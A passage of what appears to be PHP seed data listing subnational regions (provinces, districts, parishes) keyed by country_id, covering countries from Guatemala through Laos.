'90', 'name' => 'alta verapaz'],\n ['country_id' => '90', 'name' => 'baja verapaz'],\n ['country_id' => '90', 'name' => 'chimaltenango'],\n ['country_id' => '90', 'name' => 'chiquimula'],\n ['country_id' => '90', 'name' => 'el progreso'],\n ['country_id' => '90', 'name' => 'escuintla'],\n ['country_id' => '90', 'name' => 'guatemala'],\n ['country_id' => '90', 'name' => 'huehuetenango'],\n ['country_id' => '90', 'name' => 'izabal'],\n ['country_id' => '90', 'name' => 'jalapa'],\n ['country_id' => '90', 'name' => 'jutiapa'],\n ['country_id' => '90', 'name' => 'peten'],\n ['country_id' => '90', 'name' => 'quezaltenango'],\n ['country_id' => '90', 'name' => 'quiche'],\n ['country_id' => '90', 'name' => 'retalhuleu'],\n ['country_id' => '90', 'name' => 'sacatepequez'],\n ['country_id' => '90', 'name' => 'san marcos'],\n ['country_id' => '90', 'name' => 'santa rosa'],\n ['country_id' => '90', 'name' => 'solola'],\n ['country_id' => '90', 'name' => 'suchitepequez'],\n ['country_id' => '90', 'name' => 'totonicapan'],\n ['country_id' => '90', 'name' => 'zacapa'],\n ['country_id' => '91', 'name' => 'alderney'],\n ['country_id' => '91', 'name' => 'castel'],\n ['country_id' => '91', 'name' => 'forest'],\n ['country_id' => '91', 'name' => 'saint andrew'],\n ['country_id' => '91', 'name' => 'saint martin'],\n ['country_id' => '91', 'name' => 'saint peter port'],\n ['country_id' => '91', 'name' => 'saint pierre du bois'],\n ['country_id' => '91', 'name' => 'saint sampson'],\n ['country_id' => '91', 'name' => 'saint saviour'],\n ['country_id' => '91', 'name' => 'sark'],\n ['country_id' => '91', 'name' => 'torteval'],\n ['country_id' => '91', 'name' => 'vale'],\n ['country_id' => '92', 'name' => 'beyla'],\n ['country_id' => '92', 'name' => 'boffa'],\n ['country_id' => '92', 'name' => 'boke'],\n ['country_id' => '92', 'name' => 'conakry'],\n ['country_id' => '92', 'name' => 'coyah'],\n ['country_id' => '92', 'name' => 'dabola'],\n ['country_id' => '92', 'name' => 'dalaba'],\n ['country_id' => '92', 'name' => 'dinguiraye'],\n ['country_id' => '92', 'name' => 'faranah'],\n ['country_id' => '92', 'name' => 'forecariah'],\n ['country_id' => '92', 'name' => 'fria'],\n ['country_id' => '92', 'name' => 'gaoual'],\n ['country_id' => '92', 'name' => 'gueckedou'],\n ['country_id' => '92', 'name' => 'kankan'],\n ['country_id' => '92', 'name' => 'kerouane'],\n ['country_id' => '92', 'name' => 'kindia'],\n ['country_id' => '92', 'name' => 'kissidougou'],\n ['country_id' => '92', 'name' => 'koubia'],\n ['country_id' => '92', 'name' => 'koundara'],\n ['country_id' => '92', 'name' => 'kouroussa'],\n ['country_id' => '92', 'name' => 'labe'],\n ['country_id' => '92', 'name' => 'lola'],\n ['country_id' => '92', 'name' => 'macenta'],\n ['country_id' => '92', 'name' => 'mali'],\n ['country_id' => '92', 'name' => 'mamou'],\n ['country_id' => '92', 'name' => 'mandiana'],\n ['country_id' => '92', 'name' => 'nzerekore'],\n ['country_id' => '92', 'name' => 'pita'],\n ['country_id' => '92', 'name' => 'siguiri'],\n ['country_id' => '92', 'name' => 'telimele'],\n ['country_id' => '92', 'name' => 'tougue'],\n ['country_id' => '92', 'name' => 'yomou'],\n ['country_id' => '93', 'name' => 'bafata'],\n ['country_id' => '93', 'name' => 'bissau'],\n ['country_id' => '93', 'name' => 'bolama'],\n ['country_id' => '93', 'name' => 'cacheu'],\n ['country_id' => '93', 'name' => 'gabu'],\n ['country_id' => '93', 'name' => 'oio'],\n ['country_id' => '93', 'name' => 'quinara'],\n ['country_id' => '93', 'name' => 'tombali'],\n ['country_id' => '94', 'name' => 'barima-waini'],\n ['country_id' => '94', 'name' => 'cuyuni-mazaruni'],\n ['country_id' => '94', 'name' => 'demerara-mahaica'],\n ['country_id' => '94', 'name' => 'east berbice-corentyne'],\n ['country_id' => '94', 'name' => 'essequibo islands-west demerar'],\n ['country_id' => '94', 'name' => 'mahaica-berbice'],\n ['country_id' => '94', 'name' => 'pomeroon-supenaam'],\n ['country_id' => '94', 'name' => 'potaro-siparuni'],\n ['country_id' => '94', 'name' => 'upper demerara-berbice'],\n ['country_id' => '94', 'name' => 'upper takutu-upper essequibo'],\n ['country_id' => '95', 'name' => 'artibonite'],\n ['country_id' => '95', 'name' => 'centre'],\n ['country_id' => '95', 'name' => 'grand\\'anse'],\n ['country_id' => '95', 'name' => 'nord'],\n ['country_id' => '95', 'name' => 'nord-est'],\n ['country_id' => '95', 'name' => 'nord-ouest'],\n ['country_id' => '95', 'name' => 'ouest'],\n ['country_id' => '95', 'name' => 'sud'],\n ['country_id' => '95', 'name' => 'sud-est'],\n ['country_id' => '96', 'name' => 'heard and mcdonald islands'],\n ['country_id' => '97', 'name' => 'atlantida'],\n ['country_id' => '97', 'name' => 'choluteca'],\n ['country_id' => '97', 'name' => 'colon'],\n ['country_id' => '97', 'name' => 'comayagua'],\n ['country_id' => '97', 'name' => 'copan'],\n ['country_id' => '97', 'name' => 'cortes'],\n ['country_id' => '97', 'name' => 'distrito central'],\n ['country_id' => '97', 'name' => 'el paraiso'],\n ['country_id' => '97', 'name' => 'francisco morazan'],\n ['country_id' => '97', 'name' => 'gracias a dios'],\n ['country_id' => '97', 'name' => 'intibuca'],\n ['country_id' => '97', 'name' => 'islas de la bahia'],\n ['country_id' => '97', 'name' => 'la paz'],\n ['country_id' => '97', 'name' => 'lempira'],\n ['country_id' => '97', 'name' => 'ocotepeque'],\n ['country_id' => '97', 'name' => 'olancho'],\n ['country_id' => '97', 'name' => 'santa barbara'],\n ['country_id' => '97', 'name' => 'valle'],\n ['country_id' => '97', 'name' => 'yoro'],\n ['country_id' => '98', 'name' => 'hong kong'],\n ['country_id' => '99', 'name' => 'bacs-kiskun'],\n ['country_id' => '99', 'name' => 'baranya'],\n ['country_id' => '99', 'name' => 'bekes'],\n ['country_id' => '99', 'name' => 'borsod-abauj-zemplen'],\n ['country_id' => '99', 'name' => 'budapest'],\n ['country_id' => '99', 'name' => 'csongrad'],\n ['country_id' => '99', 'name' => 'fejer'],\n ['country_id' => '99', 'name' => 'gyor-moson-sopron'],\n ['country_id' => '99', 'name' => 'hajdu-bihar'],\n ['country_id' => '99', 'name' => 'heves'],\n ['country_id' => '99', 'name' => 'jasz-nagykun-szolnok'],\n ['country_id' => '99', 'name' => 'komarom-esztergom'],\n ['country_id' => '99', 'name' => 'nograd'],\n ['country_id' => '99', 'name' => 'pest'],\n ['country_id' => '99', 'name' => 'somogy'],\n ['country_id' => '99', 'name' => 'szabolcs-szatmar-bereg'],\n ['country_id' => '99', 'name' => 'tolna'],\n ['country_id' => '99', 'name' => 'vas'],\n ['country_id' => '99', 'name' => 'veszprem'],\n ['country_id' => '99', 'name' => 'zala'],\n ['country_id' => '100', 'name' => 'austurland'],\n ['country_id' => '100', 'name' => 'gullbringusysla'],\n ['country_id' => '100', 'name' => 'hofu borgarsva i'],\n ['country_id' => '100', 'name' => 'nor urland eystra'],\n ['country_id' => '100', 'name' => 'nor urland vestra'],\n ['country_id' => '100', 'name' => 'su urland'],\n ['country_id' => '100', 'name' => 'su urnes'],\n ['country_id' => '100', 'name' => 'vestfir ir'],\n ['country_id' => '100', 'name' => 'vesturland'],\n ['country_id' => '102', 'name' => 'aceh'],\n ['country_id' => '102', 'name' => 'bali'],\n ['country_id' => '102', 'name' => 'bangka-belitung'],\n ['country_id' => '102', 'name' => 'banten'],\n ['country_id' => '102', 'name' => 'bengkulu'],\n ['country_id' => '102', 'name' => 'gandaria'],\n ['country_id' => '102', 'name' => 'gorontalo'],\n ['country_id' => '102', 'name' => 'jakarta'],\n ['country_id' => '102', 'name' => 'jambi'],\n ['country_id' => '102', 'name' => 'jawa barat'],\n ['country_id' => '102', 'name' => 'jawa tengah'],\n ['country_id' => '102', 'name' => 'jawa timur'],\n ['country_id' => '102', 'name' => 'kalimantan barat'],\n ['country_id' => '102', 'name' => 'kalimantan selatan'],\n ['country_id' => '102', 'name' => 'kalimantan tengah'],\n ['country_id' => '102', 'name' => 'kalimantan timur'],\n ['country_id' => '102', 'name' => 'kendal'],\n ['country_id' => '102', 'name' => 'lampung'],\n ['country_id' => '102', 'name' => 'maluku'],\n ['country_id' => '102', 'name' => 'maluku utara'],\n ['country_id' => '102', 'name' => 'nusa tenggara barat'],\n ['country_id' => '102', 'name' => 'nusa tenggara timur'],\n ['country_id' => '102', 'name' => 'papua'],\n ['country_id' => '102', 'name' => 'riau'],\n ['country_id' => '102', 'name' => 'riau kepulauan'],\n ['country_id' => '102', 'name' => 'solo'],\n ['country_id' => '102', 'name' => 'sulawesi selatan'],\n ['country_id' => '102', 'name' => 'sulawesi tengah'],\n ['country_id' => '102', 'name' => 'sulawesi tenggara'],\n ['country_id' => '102', 'name' => 'sulawesi utara'],\n ['country_id' => '102', 'name' => 'sumatera barat'],\n ['country_id' => '102', 'name' => 'sumatera selatan'],\n ['country_id' => '102', 'name' => 'sumatera utara'],\n ['country_id' => '102', 'name' => 'yogyakarta'],\n ['country_id' => '103', 'name' => 'ardabil'],\n ['country_id' => '103', 'name' => 'azarbayjan-e bakhtari'],\n ['country_id' => '103', 'name' => 'azarbayjan-e khavari'],\n ['country_id' => '103', 'name' => 'bushehr'],\n ['country_id' => '103', 'name' => 'chahar mahal-e bakhtiari'],\n ['country_id' => '103', 'name' => 'esfahan'],\n ['country_id' => '103', 'name' => 'fars'],\n ['country_id' => '103', 'name' => 'gilan'],\n ['country_id' => '103', 'name' => 'golestan'],\n ['country_id' => '103', 'name' => 'hamadan'],\n ['country_id' => '103', 'name' => 'hormozgan'],\n ['country_id' => '103', 'name' => 'ilam'],\n ['country_id' => '103', 'name' => 'kerman'],\n ['country_id' => '103', 'name' => 'kermanshah'],\n ['country_id' => '103', 'name' => 'khorasan'],\n ['country_id' => '103', 'name' => 'khuzestan'],\n ['country_id' => '103', 'name' => 'kohgiluyeh-e boyerahmad'],\n ['country_id' => '103', 'name' => 'kordestan'],\n ['country_id' => '103', 'name' => 'lorestan'],\n ['country_id' => '103', 'name' => 'markazi'],\n ['country_id' => '103', 'name' => 'mazandaran'],\n ['country_id' => '103', 'name' => 'ostan-e esfahan'],\n ['country_id' => '103', 'name' => 'qazvin'],\n ['country_id' => '103', 'name' => 'qom'],\n ['country_id' => '103', 'name' => 'semnan'],\n ['country_id' => '103', 'name' => 'sistan-e baluchestan'],\n ['country_id' => '103', 'name' => 'tehran'],\n ['country_id' => '103', 'name' => 'yazd'],\n ['country_id' => '103', 'name' => 'zanjan'],\n ['country_id' => '104', 'name' => 'babil'],\n ['country_id' => '104', 'name' => 'baghdad'],\n ['country_id' => '104', 'name' => 'dahuk'],\n ['country_id' => '104', 'name' => 'dhi qar'],\n ['country_id' => '104', 'name' => 'diyala'],\n ['country_id' => '104', 'name' => 'erbil'],\n ['country_id' => '104', 'name' => 'irbil'],\n ['country_id' => '104', 'name' => 'karbala'],\n ['country_id' => '104', 'name' => 'kurdistan'],\n ['country_id' => '104', 'name' => 'maysan'],\n ['country_id' => '104', 'name' => 'ninawa'],\n ['country_id' => '104', 'name' => 'salah-ad-din'],\n ['country_id' => '104', 'name' => 'wasit'],\n ['country_id' => '104', 'name' => 'al-anbar'],\n ['country_id' => '104', 'name' => 'al-basrah'],\n ['country_id' => '104', 'name' => 'al-muthanna'],\n ['country_id' => '104', 'name' => 'al-qadisiyah'],\n ['country_id' => '104', 'name' => 'an-najaf'],\n ['country_id' => '104', 'name' => 'as-sulaymaniyah'],\n ['country_id' => '104', 'name' => 'at-ta\\'mim'],\n ['country_id' => '105', 'name' => 'armagh'],\n ['country_id' => '105', 'name' => 'carlow'],\n ['country_id' => '105', 'name' => 'cavan'],\n ['country_id' => '105', 'name' => 'clare'],\n ['country_id' => '105', 'name' => 'cork'],\n ['country_id' => '105', 'name' => 'donegal'],\n ['country_id' => '105', 'name' => 'dublin'],\n ['country_id' => '105', 'name' => 'galway'],\n ['country_id' => '105', 'name' => 'kerry'],\n ['country_id' => '105', 'name' => 'kildare'],\n ['country_id' => '105', 'name' => 'kilkenny'],\n ['country_id' => '105', 'name' => 'laois'],\n ['country_id' => '105', 'name' => 'leinster'],\n ['country_id' => '105', 'name' => 'leitrim'],\n ['country_id' => '105', 'name' => 'limerick'],\n ['country_id' => '105', 'name' => 'loch garman'],\n ['country_id' => '105', 'name' => 'longford'],\n ['country_id' => '105', 'name' => 'louth'],\n ['country_id' => '105', 'name' => 'mayo'],\n ['country_id' => '105', 'name' => 'meath'],\n ['country_id' => '105', 'name' => 'monaghan'],\n ['country_id' => '105', 'name' => 'offaly'],\n ['country_id' => '105', 'name' => 'roscommon'],\n ['country_id' => '105', 'name' => 'sligo'],\n ['country_id' => '105', 'name' => 'tipperary north riding'],\n ['country_id' => '105', 'name' => 'tipperary south riding'],\n ['country_id' => '105', 'name' => 'ulster'],\n ['country_id' => '105', 'name' => 'waterford'],\n ['country_id' => '105', 'name' => 'westmeath'],\n ['country_id' => '105', 'name' => 'wexford'],\n ['country_id' => '105', 'name' => 'wicklow'],\n ['country_id' => '106', 'name' => 'beit hanania'],\n ['country_id' => '106', 'name' => 'ben gurion airport'],\n ['country_id' => '106', 'name' => 'bethlehem'],\n ['country_id' => '106', 'name' => 'caesarea'],\n ['country_id' => '106', 'name' => 'centre'],\n ['country_id' => '106', 'name' => 'gaza'],\n ['country_id' => '106', 'name' => 'hadaron'],\n ['country_id' => '106', 'name' => 'haifa district'],\n ['country_id' => '106', 'name' => 'hamerkaz'],\n ['country_id' => '106', 'name' => 'hazafon'],\n ['country_id' => '106', 'name' => 'hebron'],\n ['country_id' => '106', 'name' => 'jaffa'],\n ['country_id' => '106', 'name' => 'jerusalem'],\n ['country_id' => '106', 'name' => 'khefa'],\n ['country_id' => '106', 'name' => 'kiryat yam'],\n ['country_id' => '106', 'name' => 'lower galilee'],\n ['country_id' => '106', 'name' => 'qalqilya'],\n ['country_id' => '106', 'name' => 'talme elazar'],\n ['country_id' => '106', 'name' => 'tel aviv'],\n ['country_id' => '106', 'name' => 'tsafon'],\n ['country_id' => '106', 'name' => 'umm el fahem'],\n ['country_id' => '106', 'name' => 'yerushalayim'],\n ['country_id' => '107', 'name' => 'abruzzi'],\n ['country_id' => '107', 'name' => 'abruzzo'],\n ['country_id' => '107', 'name' => 'agrigento'],\n ['country_id' => '107', 'name' => 'alessandria'],\n ['country_id' => '107', 'name' => 'ancona'],\n ['country_id' => '107', 'name' => 'arezzo'],\n ['country_id' => '107', 'name' => 'ascoli piceno'],\n ['country_id' => '107', 'name' => 'asti'],\n ['country_id' => '107', 'name' => 'avellino'],\n ['country_id' => '107', 'name' => 'bari'],\n ['country_id' => '107', 'name' => 'basilicata'],\n ['country_id' => '107', 'name' => 'belluno'],\n ['country_id' => '107', 'name' => 'benevento'],\n ['country_id' => '107', 'name' => 'bergamo'],\n ['country_id' => '107', 'name' => 'biella'],\n ['country_id' => '107', 'name' => 'bologna'],\n ['country_id' => '107', 'name' => 'bolzano'],\n ['country_id' => '107', 'name' => 'brescia'],\n ['country_id' => '107', 'name' => 'brindisi'],\n ['country_id' => '107', 'name' => 'calabria'],\n ['country_id' => '107', 'name' => 'campania'],\n ['country_id' => '107', 'name' => 'cartoceto'],\n ['country_id' => '107', 'name' => 'caserta'],\n ['country_id' => '107', 'name' => 'catania'],\n ['country_id' => '107', 'name' => 'chieti'],\n ['country_id' => '107', 'name' => 'como'],\n ['country_id' => '107', 'name' => 'cosenza'],\n ['country_id' => '107', 'name' => 'cremona'],\n ['country_id' => '107', 'name' => 'cuneo'],\n ['country_id' => '107', 'name' => 'emilia-romagna'],\n ['country_id' => '107', 'name' => 'ferrara'],\n ['country_id' => '107', 'name' => 'firenze'],\n ['country_id' => '107', 'name' => 'florence'],\n ['country_id' => '107', 'name' => 'forli-cesena '],\n ['country_id' => '107', 'name' => 'friuli-venezia giulia'],\n ['country_id' => '107', 'name' => 'frosinone'],\n ['country_id' => '107', 'name' => 'genoa'],\n ['country_id' => '107', 'name' => 'gorizia'],\n ['country_id' => '107', 'name' => 'l\\'aquila'],\n ['country_id' => '107', 'name' => 'lazio'],\n ['country_id' => '107', 'name' => 'lecce'],\n ['country_id' => '107', 'name' => 'lecco'],\n ['country_id' => '107', 'name' => 'lecco province'],\n ['country_id' => '107', 'name' => 'liguria'],\n ['country_id' => '107', 'name' => 'lodi'],\n ['country_id' => '107', 'name' => 'lombardia'],\n ['country_id' => '107', 'name' => 'lombardy'],\n ['country_id' => '107', 'name' => 'macerata'],\n ['country_id' => '107', 'name' => 'mantova'],\n ['country_id' => '107', 'name' => 'marche'],\n ['country_id' => '107', 'name' => 'messina'],\n ['country_id' => '107', 'name' => 'milan'],\n ['country_id' => '107', 'name' => 'modena'],\n ['country_id' => '107', 'name' => 'molise'],\n ['country_id' => '107', 'name' => 'molteno'],\n ['country_id' => '107', 'name' => 'montenegro'],\n ['country_id' => '107', 'name' => 'monza and brianza'],\n ['country_id' => '107', 'name' => 'naples'],\n ['country_id' => '107', 'name' => 'novara'],\n ['country_id' => '107', 'name' => 'padova'],\n ['country_id' => '107', 'name' => 'parma'],\n ['country_id' => '107', 'name' => 'pavia'],\n ['country_id' => '107', 'name' => 'perugia'],\n ['country_id' => '107', 'name' => 'pesaro-urbino'],\n ['country_id' => '107', 'name' => 'piacenza'],\n ['country_id' => '107', 'name' => 'piedmont'],\n ['country_id' => '107', 'name' => 'piemonte'],\n ['country_id' => '107', 'name' => 'pisa'],\n ['country_id' => '107', 'name' => 'pordenone'],\n ['country_id' => '107', 'name' => 'potenza'],\n ['country_id' => '107', 'name' => 'puglia'],\n ['country_id' => '107', 'name' => 'reggio emilia'],\n ['country_id' => '107', 'name' => 'rimini'],\n ['country_id' => '107', 'name' => 'roma'],\n ['country_id' => '107', 'name' => 'salerno'],\n ['country_id' => '107', 'name' => 'sardegna'],\n ['country_id' => '107', 'name' => 'sassari'],\n ['country_id' => '107', 'name' => 'savona'],\n ['country_id' => '107', 'name' => 'sicilia'],\n ['country_id' => '107', 'name' => 'siena'],\n ['country_id' => '107', 'name' => 'sondrio'],\n ['country_id' => '107', 'name' => 'south tyrol'],\n ['country_id' => '107', 'name' => 'taranto'],\n ['country_id' => '107', 'name' => 'teramo'],\n ['country_id' => '107', 'name' => 'torino'],\n ['country_id' => '107', 'name' => 'toscana'],\n ['country_id' => '107', 'name' => 'trapani'],\n ['country_id' => '107', 'name' => 'trentino-alto adige'],\n ['country_id' => '107', 'name' => 'trento'],\n ['country_id' => '107', 'name' => 'treviso'],\n ['country_id' => '107', 'name' => 'udine'],\n ['country_id' => '107', 'name' => 'umbria'],\n ['country_id' => '107', 'name' => 'valle d\\'aosta'],\n ['country_id' => '107', 'name' => 'varese'],\n ['country_id' => '107', 'name' => 'veneto'],\n ['country_id' => '107', 'name' => 'venezia'],\n ['country_id' => '107', 'name' => 'verbano-cusio-ossola'],\n ['country_id' => '107', 'name' => 'vercelli'],\n ['country_id' => '107', 'name' => 'verona'],\n ['country_id' => '107', 'name' => 'vicenza'],\n ['country_id' => '107', 'name' => 'viterbo'],\n ['country_id' => '108', 'name' => 'buxoro viloyati'],\n ['country_id' => '108', 'name' => 'clarendon'],\n ['country_id' => '108', 'name' => 'hanover'],\n ['country_id' => '108', 'name' => 'kingston'],\n ['country_id' => '108', 'name' => 'manchester'],\n ['country_id' => '108', 'name' => 'portland'],\n ['country_id' => '108', 'name' => 'saint andrews'],\n ['country_id' => '108', 'name' => 'saint ann'],\n ['country_id' => '108', 'name' => 'saint catherine'],\n ['country_id' => '108', 'name' => 'saint elizabeth'],\n ['country_id' => '108', 'name' => 'saint james'],\n ['country_id' => '108', 'name' => 'saint mary'],\n ['country_id' => '108', 'name' => 'saint thomas'],\n ['country_id' => '108', 'name' => 'trelawney'],\n ['country_id' => '108', 'name' => 'westmoreland'],\n ['country_id' => '109', 'name' => 'aichi'],\n ['country_id' => '109', 'name' => 'akita'],\n ['country_id' => '109', 'name' => 'aomori'],\n ['country_id' => '109', 'name' => 'chiba'],\n ['country_id' => '109', 'name' => 'ehime'],\n ['country_id' => '109', 'name' => 'fukui'],\n ['country_id' => '109', 'name' => 'fukuoka'],\n ['country_id' => '109', 'name' => 'fukushima'],\n ['country_id' => '109', 'name' => 'gifu'],\n ['country_id' => '109', 'name' => 'gumma'],\n ['country_id' => '109', 'name' => 'hiroshima'],\n ['country_id' => '109', 'name' => 'hokkaido'],\n ['country_id' => '109', 'name' => 'hyogo'],\n ['country_id' => '109', 'name' => 'ibaraki'],\n ['country_id' => '109', 'name' => 'ishikawa'],\n ['country_id' => '109', 'name' => 'iwate'],\n ['country_id' => '109', 'name' => 'kagawa'],\n ['country_id' => '109', 'name' => 'kagoshima'],\n ['country_id' => '109', 'name' => 'kanagawa'],\n ['country_id' => '109', 'name' => 'kanto'],\n ['country_id' => '109', 'name' => 'kochi'],\n ['country_id' => '109', 'name' => 'kumamoto'],\n ['country_id' => '109', 'name' => 'kyoto'],\n ['country_id' => '109', 'name' => 'mie'],\n ['country_id' => '109', 'name' => 'miyagi'],\n ['country_id' => '109', 'name' => 'miyazaki'],\n ['country_id' => '109', 'name' => 'nagano'],\n ['country_id' => '109', 'name' => 'nagasaki'],\n ['country_id' => '109', 'name' => 'nara'],\n ['country_id' => '109', 'name' => 'niigata'],\n ['country_id' => '109', 'name' => 'oita'],\n ['country_id' => '109', 'name' => 'okayama'],\n ['country_id' => '109', 'name' => 'okinawa'],\n ['country_id' => '109', 'name' => 'osaka'],\n ['country_id' => '109', 'name' => 'saga'],\n ['country_id' => '109', 'name' => 'saitama'],\n ['country_id' => '109', 'name' => 'shiga'],\n ['country_id' => '109', 'name' => 'shimane'],\n ['country_id' => '109', 'name' => 'shizuoka'],\n ['country_id' => '109', 'name' => 'tochigi'],\n ['country_id' => '109', 'name' => 'tokushima'],\n ['country_id' => '109', 'name' => 'tokyo'],\n ['country_id' => '109', 'name' => 'tottori'],\n ['country_id' => '109', 'name' => 'toyama'],\n ['country_id' => '109', 'name' => 'wakayama'],\n ['country_id' => '109', 'name' => 'yamagata'],\n ['country_id' => '109', 'name' => 'yamaguchi'],\n ['country_id' => '109', 'name' => 'yamanashi'],\n ['country_id' => '110', 'name' => 'grouville'],\n ['country_id' => '110', 'name' => 'saint brelade'],\n ['country_id' => '110', 'name' => 'saint clement'],\n ['country_id' => '110', 'name' => 'saint helier'],\n ['country_id' => '110', 'name' => 'saint john'],\n ['country_id' => '110', 'name' => 'saint lawrence'],\n ['country_id' => '110', 'name' => 'saint martin'],\n ['country_id' => '110', 'name' => 'saint mary'],\n ['country_id' => '110', 'name' => 'saint peter'],\n ['country_id' => '110', 'name' => 'saint saviour'],\n ['country_id' => '110', 'name' => 'trinity'],\n ['country_id' => '111', 'name' => '\\'ajlun'],\n ['country_id' => '111', 'name' => 'amman'],\n ['country_id' => '111', 'name' => 'irbid'],\n ['country_id' => '111', 'name' => 'jarash'],\n ['country_id' => '111', 'name' => 'ma\\'an'],\n ['country_id' => '111', 'name' => 'madaba'],\n ['country_id' => '111', 'name' => 'al-\\'aqabah'],\n ['country_id' => '111', 'name' => 'al-balqa\\''],\n ['country_id' => '111', 'name' => 'al-karak'],\n ['country_id' => '111', 'name' => 'al-mafraq'],\n ['country_id' => '111', 'name' => 'at-tafilah'],\n ['country_id' => '111', 'name' => 'az-zarqa\\''],\n ['country_id' => '112', 'name' => 'akmecet'],\n ['country_id' => '112', 'name' => 'akmola'],\n ['country_id' => '112', 'name' => 'aktobe'],\n ['country_id' => '112', 'name' => 'almati'],\n ['country_id' => '112', 'name' => 'atirau'],\n ['country_id' => '112', 'name' => 'batis kazakstan'],\n ['country_id' => '112', 'name' => 'burlinsky region'],\n ['country_id' => '112', 'name' => 'karagandi'],\n ['country_id' => '112', 'name' => 'kostanay'],\n ['country_id' => '112', 'name' => 'mankistau'],\n ['country_id' => '112', 'name' => 'ontustik kazakstan'],\n ['country_id' => '112', 'name' => 'pavlodar'],\n ['country_id' => '112', 'name' => 'sigis kazakstan'],\n ['country_id' => '112', 'name' => 'soltustik kazakstan'],\n ['country_id' => '112', 'name' => 'taraz'],\n ['country_id' => '113', 'name' => 'central'],\n ['country_id' => '113', 'name' => 'coast'],\n ['country_id' => '113', 'name' => 'eastern'],\n ['country_id' => '113', 'name' => 'nairobi'],\n ['country_id' => '113', 'name' => 'north eastern'],\n ['country_id' => '113', 'name' => 'nyanza'],\n ['country_id' => '113', 'name' => 'rift valley'],\n ['country_id' => '113', 'name' => 'western'],\n ['country_id' => '114', 'name' => 'abaiang'],\n ['country_id' => '114', 'name' => 'abemana'],\n ['country_id' => '114', 'name' => 'aranuka'],\n ['country_id' => '114', 'name' => 'arorae'],\n ['country_id' => '114', 'name' => 'banaba'],\n ['country_id' => '114', 'name' => 'beru'],\n ['country_id' => '114', 'name' => 'butaritari'],\n ['country_id' => '114', 'name' => 'kiritimati'],\n ['country_id' => '114', 'name' => 'kuria'],\n ['country_id' => '114', 'name' => 'maiana'],\n ['country_id' => '114', 'name' => 'makin'],\n ['country_id' => '114', 'name' => 'marakei'],\n ['country_id' => '114', 'name' => 'nikunau'],\n ['country_id' => '114', 'name' => 'nonouti'],\n ['country_id' => '114', 'name' => 'onotoa'],\n ['country_id' => '114', 'name' => 'phoenix islands'],\n ['country_id' => '114', 'name' => 'tabiteuea north'],\n ['country_id' => '114', 'name' => 'tabiteuea south'],\n ['country_id' => '114', 'name' => 'tabuaeran'],\n ['country_id' => '114', 'name' => 'tamana'],\n ['country_id' => '114', 'name' => 'tarawa north'],\n ['country_id' => '114', 'name' => 'tarawa south'],\n ['country_id' => '114', 'name' => 'teraina'],\n ['country_id' => '115', 'name' => 'chagangdo'],\n ['country_id' => '115', 'name' => 'hamgyeongbukto'],\n ['country_id' => '115', 'name' => 'hamgyeongnamdo'],\n ['country_id' => '115', 'name' => 'hwanghaebukto'],\n ['country_id' => '115', 'name' => 'hwanghaenamdo'],\n ['country_id' => '115', 'name' => 'kaeseong'],\n ['country_id' => '115', 'name' => 'kangweon'],\n ['country_id' => '115', 'name' => 'nampo'],\n ['country_id' => '115', 'name' => 'pyeonganbukto'],\n ['country_id' => '115', 'name' => 'pyeongannamdo'],\n ['country_id' => '115', 'name' => 'pyeongyang'],\n ['country_id' => '115', 'name' => 'yanggang'],\n ['country_id' => '116', 'name' => 'busan'],\n ['country_id' => '116', 'name' => 'cheju'],\n ['country_id' => '116', 'name' => 'chollabuk'],\n ['country_id' => '116', 'name' => 'chollanam'],\n ['country_id' => '116', 'name' => 'chungbuk'],\n ['country_id' => '116', 'name' => 'chungcheongbuk'],\n ['country_id' => '116', 'name' => 'chungcheongnam'],\n ['country_id' => '116', 'name' => 'chungnam'],\n ['country_id' => '116', 'name' => 'daegu'],\n ['country_id' => '116', 'name' => 'gangwon-do'],\n ['country_id' => '116', 'name' => 'goyang-si'],\n ['country_id' => '116', 'name' => 'gyeonggi-do'],\n ['country_id' => '116', 'name' => 'gyeongsang '],\n ['country_id' => '116', 'name' => 'gyeongsangnam-do'],\n ['country_id' => '116', 'name' => 'incheon'],\n ['country_id' => '116', 'name' => 'jeju-si'],\n ['country_id' => '116', 'name' => 'jeonbuk'],\n ['country_id' => '116', 'name' => 'kangweon'],\n ['country_id' => '116', 'name' => 'kwangju'],\n ['country_id' => '116', 'name' => 'kyeonggi'],\n ['country_id' => '116', 'name' => 'kyeongsangbuk'],\n ['country_id' => '116', 'name' => 'kyeongsangnam'],\n ['country_id' => '116', 'name' => 'kyonggi-do'],\n ['country_id' => '116', 'name' => 'kyungbuk-do'],\n ['country_id' => '116', 'name' => 'kyunggi-do'],\n ['country_id' => '116', 'name' => 'kyunggi-do'],\n ['country_id' => '116', 'name' => 'pusan'],\n ['country_id' => '116', 'name' => 'seoul'],\n ['country_id' => '116', 'name' => 'sudogwon'],\n ['country_id' => '116', 'name' => 'taegu'],\n ['country_id' => '116', 'name' => 'taejeon'],\n ['country_id' => '116', 'name' => 'taejon-gwangyoksi'],\n ['country_id' => '116', 'name' => 'ulsan'],\n ['country_id' => '116', 'name' => 'wonju'],\n ['country_id' => '116', 'name' => 'gwangyoksi'],\n ['country_id' => '117', 'name' => 'al asimah'],\n ['country_id' => '117', 'name' => 'hawalli'],\n ['country_id' => '117', 'name' => 'mishref'],\n ['country_id' => '117', 'name' => 'qadesiya'],\n ['country_id' => '117', 'name' => 'safat'],\n ['country_id' => '117', 'name' => 'salmiya'],\n ['country_id' => '117', 'name' => 'al-ahmadi'],\n ['country_id' => '117', 'name' => 'al-farwaniyah'],\n ['country_id' => '117', 'name' => 'al-jahra'],\n ['country_id' => '117', 'name' => 'al-kuwayt'],\n ['country_id' => '118', 'name' => 'batken'],\n ['country_id' => '118', 'name' => 'bishkek'],\n ['country_id' => '118', 'name' => 'chui'],\n ['country_id' => '118', 'name' => 'issyk-kul'],\n ['country_id' => '118', 'name' => 'jalal-abad'],\n ['country_id' => '118', 'name' => 'naryn'],\n ['country_id' => '118', 'name' => 'osh'],\n ['country_id' => '118', 'name' => 'talas'],\n ['country_id' => '119', 'name' => 'attopu'],\n ['country_id' => '119', 'name' => 'bokeo'],\n ['country_id' => '119', 'name' => 'bolikhamsay'],\n ['country_id' => '119', 'name' => 'champasak'],\n ['country_id' => '119', 'name' => 'houaphanh'],\n ['country_id' => '119', 'name' => 'khammouane'],\n ['country_id' => '119', 'name' => 'luang nam tha'],\n ['country_id' => '119', 'name' => 'luang prabang'],\n ['country_id' => '119', 'name' => 'oudomxay'],\n ['country_id' => '119', 'name' => 'phongsaly'],\n ['country_id' => '119', 'name' => 'saravan'],\n ['country_id' => '119', 'name' => 'savannakhet'],\n ['country_id' => '119', 'name' => 'sekong'],\n ['country_id' => '119', 